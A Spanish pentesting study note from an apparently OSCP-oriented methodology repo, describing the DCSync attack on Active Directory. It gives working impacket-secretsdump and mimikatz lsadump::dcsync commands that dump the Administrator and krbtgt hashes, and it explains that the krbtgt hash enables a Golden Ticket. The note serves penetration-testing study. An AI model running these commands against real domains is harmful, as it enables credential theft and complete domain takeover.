7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
762 B
Markdown
22 lines
762 B
Markdown
# DCSync
|
|
|
|
> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.
|
|
|
|
## Cómo se llega
|
|
- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
|
|
- O un ACL abuses que te conceda esos derechos.
|
|
|
|
## Ataque
|
|
```bash
|
|
impacket-secretsdump dominio/usuario:password@DC_IP # → ver secretsdump
|
|
```
|
|
```
|
|
# o desde mimikatz en una máquina del dominio:
|
|
lsadump::dcsync /user:Administrator
|
|
lsadump::dcsync /user:krbtgt # ← el premio gordo
|
|
```
|
|
|
|
## Por qué importa
|
|
El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.
|
|
|
|
Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC
|